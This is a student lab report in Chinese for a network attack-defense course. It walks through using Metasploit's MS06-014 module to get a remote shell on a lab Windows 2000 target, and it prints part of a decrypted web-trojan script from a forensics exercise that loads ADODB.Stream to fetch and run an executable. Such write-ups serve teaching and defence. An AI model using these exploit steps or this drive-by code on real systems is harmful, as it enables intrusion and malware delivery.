20212937 曾俊銘 2021-2022-2 《網(wǎng)絡(luò)攻防實踐》實踐報告
1.實踐內(nèi)容
SQL注入漏洞原理
參數(shù)是用戶可控的,也就是前端傳入后端的參數(shù)的內(nèi)容是用戶可以控制的;
參數(shù)被帶入數(shù)據(jù)庫進(jìn)行查詢,也就是傳入的參數(shù)被拼接到SQL語句中,并且被帶入到數(shù)據(jù)庫進(jìn)行查詢;
xss漏洞原理
由于程序員在編寫代碼時,未對用戶輸入的數(shù)據(jù)進(jìn)行處理、或者處理不當(dāng),從而導(dǎo)致惡意payload代碼被執(zhí)行。 簡單來說是對非預(yù)期輸入的過分信任!
CSRF漏洞原理
利用網(wǎng)站對于用戶網(wǎng)頁瀏覽器的信任,挾持用戶當(dāng)前已登陸的Web應(yīng)用程序,去執(zhí)行并非用戶本意的操作。通常由于服務(wù)端沒有對請求頭做嚴(yán)格過濾引起的。
SSRF漏洞原理
SSRF 形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對目標(biāo)地址做過濾與限制
XXE漏洞原理
由于服務(wù)端未對提交的xml的數(shù)據(jù)中引入外部實體做必要的處理,而在外部實體中引入php偽協(xié)議從而造成的攻擊。
文件包含漏洞原理
文件包含函數(shù)加載的參數(shù)沒有經(jīng)過過濾或者嚴(yán)格的定義,可以被用戶控制,包含其他惡意文件,導(dǎo)致了執(zhí)行了非預(yù)期的代碼。
文件上傳漏洞原理
上傳的過程中如果對用戶上傳的文件未校驗或者校驗不嚴(yán)格、過濾不嚴(yán)格,那么惡意用戶就可以惡意修改上傳文件的類型或者繞過上傳限制,如果上傳了木馬文件,并且被服務(wù)器解析,那么就獲取了該站點的webshell。
解析漏洞原理
web服務(wù)器因?qū)ttp請求處理不當(dāng)導(dǎo)致將非可執(zhí)行的腳本,文件等當(dāng)做可執(zhí)行的腳本,文件等執(zhí)行。
未授權(quán)訪問漏洞原理
需要安全配置或權(quán)限認(rèn)證的地址、授權(quán)頁面存在缺陷導(dǎo)致其他用戶可以直接訪問從而引發(fā)重要權(quán)限可被操作、數(shù)據(jù)庫或網(wǎng)站目錄等敏感信息泄露。
反序列化漏洞原理
程序沒有對用戶輸入的反序列化字符串進(jìn)行檢測,導(dǎo)致反序列化過程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、getshell等一系列不可控的后果。
代碼執(zhí)行漏洞原理
當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)時,沒有考慮用是否能夠控制這個字符串,
命令執(zhí)行漏洞原理
應(yīng)用有時需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),沒有對用戶輸入做嚴(yán)格的檢查過濾,導(dǎo)致用戶可以控制命令執(zhí)行函數(shù)中的參數(shù),將惡意系統(tǒng)命令注入到正常命令中,造成命令執(zhí)行攻擊
邏輯漏洞原理
應(yīng)用程序執(zhí)行的邏輯存在某種缺陷。大部分邏輯缺陷表現(xiàn)為開發(fā)者在思考過程中做出的特殊假設(shè)存在明顯或隱含的錯誤,通俗點來說,有的開發(fā)者會這樣認(rèn)為,如果發(fā)生A,就會出現(xiàn)B,因此我執(zhí)行C。沒有考慮如果發(fā)生X會怎么樣,這種錯誤的假設(shè)會造成許多安全漏洞。
實驗要求:
(1)web瀏覽器滲透攻擊
任務(wù):使用攻擊機和Windows靶機進(jìn)行瀏覽器滲透攻擊實驗,體驗網(wǎng)頁木馬構(gòu)造及實施瀏覽器攻擊的實際過程。
(2)取證分析實踐—網(wǎng)頁木馬攻擊場景分析
(3)攻防對抗實踐—web瀏覽器滲透攻擊攻防
2.實踐過程
2.1 web瀏覽器滲透攻擊
任務(wù):使用攻擊機和Windows靶機進(jìn)行瀏覽器滲透攻擊實驗,體驗網(wǎng)頁木馬構(gòu)造及實施瀏覽器攻擊的實際過程。
實驗環(huán)境:
攻擊機 Kali IP:192.168.200.2
靶機 Windows2kServer IP:192.168.200.3
使用Metasploit中的MS06-014滲透攻擊模塊。
打開kali,進(jìn)入命令輸入界面,輸入命令msfconsole,打開metasploit,進(jìn)入其控制界面。
輸入命令search MS06-014搜索MS06-014漏洞,可以得到針對這個漏洞的滲透攻擊模塊。
接著輸入命令use exploit/windows/browser/ie_createobject進(jìn)入該滲透攻擊模塊。
選擇PAYLOAD為任意遠(yuǎn)程Shell連接。
輸入命令show payloads查看payloads。
輸入命令set payload windows/shell/bind_tcp
運行exploit,構(gòu)造出惡意網(wǎng)頁木馬腳本。
輸入命令set Lhost 192.168.200.2,將kali設(shè)置本地IP為攻擊機。
輸入exploit開始攻擊,惡意服務(wù)器建立。
在靶機win2k環(huán)境中啟動瀏覽器,驗證與服務(wù)器的連通性,并訪問而已網(wǎng)頁木馬腳本URL。
在靶機環(huán)境中啟動瀏覽器訪問這個惡意URL:http://192.168.200.2:8080/Po3kpZx。
在攻擊機的Metasploit軟件中查看滲透攻擊狀態(tài),并通過成功滲透攻擊后建立起的遠(yuǎn)程控制會話SESSION,在靶機上遠(yuǎn)程執(zhí)行命令。
回到攻擊機上可以看到,一個靶機到攻擊機的session被建立。
使用命令sessions 1 查看我們控制的主機為Windows 2000,版本為5.00.2195。
2.2 取證分析實踐—網(wǎng)頁木馬攻擊場景分析
①訪問start.html,在這個文件中給出了new09.htm的地址。
用記事本打開start.html,分析發(fā)現(xiàn)在該網(wǎng)頁嵌入了一個內(nèi)聯(lián)框架,指向了一個網(wǎng)頁new09.htm,且該內(nèi)聯(lián)框架高度寬度為0,不易發(fā)現(xiàn)。從這兩處可以看出start.html文件在引用new09.htm文件時沒有寫絕對路徑,所以new09.htm文件與start.html文件在同一目錄下。
查看new09.htm文件。
②在進(jìn)入 htm 后,每解密出一個文件地址,請對其作 32 位 MD5 散列,以散列值為文件名。
new09.htm 文件中,用iframe引用了一個http://aa.18dd.net/aa/kl.htm文件,又用javascript引用了一個http://js.users.#/1299644.js文件。對它們分別作MD5散列:
③如果解密出的地址給出的是網(wǎng)頁或腳本文件,請繼續(xù)解密;如果解密出的地址是二進(jìn)制程序文件,進(jìn)行靜態(tài)反匯編或動態(tài)調(diào)試;重復(fù)以上過程直到這些文件被全部分析完成。
在hashed文件夾下找到這兩個文件:7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3,用記事本打開:
第二個文件中不是我們想要的內(nèi)容,第一個文件中的內(nèi)容使用XXTEABase64加密方法,到加密密鑰就在倒數(shù)第三行中:t=utf8to16(xxtea_decrypt(base64decode(t), 'x73x63x72x69x70x74'));將x73x63x72x69x70x74使用十六進(jìn)制轉(zhuǎn)字符串的操作,即可得到密鑰script:
使用https://cycy.sourceforge.io/xxtea/進(jìn)行XXTEABase64解密:在密鑰一欄中填入“script”,在下面大的文本框中粘貼7f60672dcd6b5e90b6772545ee219bd3.txt文件的全部內(nèi)容,點“解密”,文本框的內(nèi)容變?yōu)椋?br/>
完整內(nèi)容如下:(一段代碼)
然后對引號內(nèi)的十六進(jìn)制數(shù)進(jìn)行轉(zhuǎn)字符串的操作,便可以得到以下內(nèi)容:
完整內(nèi)容如下:
function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ try{var e; var ado=(document.createElement("object")); ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var as=ado.createobject("Adodb.Stream","")} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()246060*1000); document.cookie='ce=windowsxp;path=/;expires='expires.toGMTString(); if(e!="[object Error]"){ document.write("
分析該代碼,可以發(fā)現(xiàn)document.location加載payload,且下一行跟了一個可執(zhí)行文件tppBbJMsCPXw.exe猜測該文件是通過之前的URL下載靶機上的。
打開靶機任務(wù)管理器查看正在運行的進(jìn)程,可以發(fā)現(xiàn)上述可執(zhí)行文件正在運行:
3.學(xué)習(xí)中遇到的問題及解決
-
問題1:查看SESSION失敗
-
問題1解決方案:使用命令行 sessions 1
-
問題2:不知道如何十六進(jìn)制轉(zhuǎn)換文本字符
-
問題2解決方案:百度了一下,發(fā)現(xiàn)有很多轉(zhuǎn)換器...
4.實踐總結(jié)
這次的實驗難度不小,還挺復(fù)雜,通過不斷的失敗,對WEB瀏覽器滲透攻擊有了基本的了解,對木馬病毒攻擊分析也有了一些了解,但最近身體不好,高燒不斷,情緒也是非常的低落,身體是革命的本錢,網(wǎng)絡(luò)安全很重要,身體健康也很重要,期待趕緊好起來吧。
本文摘自 :https://www.cnblogs.com/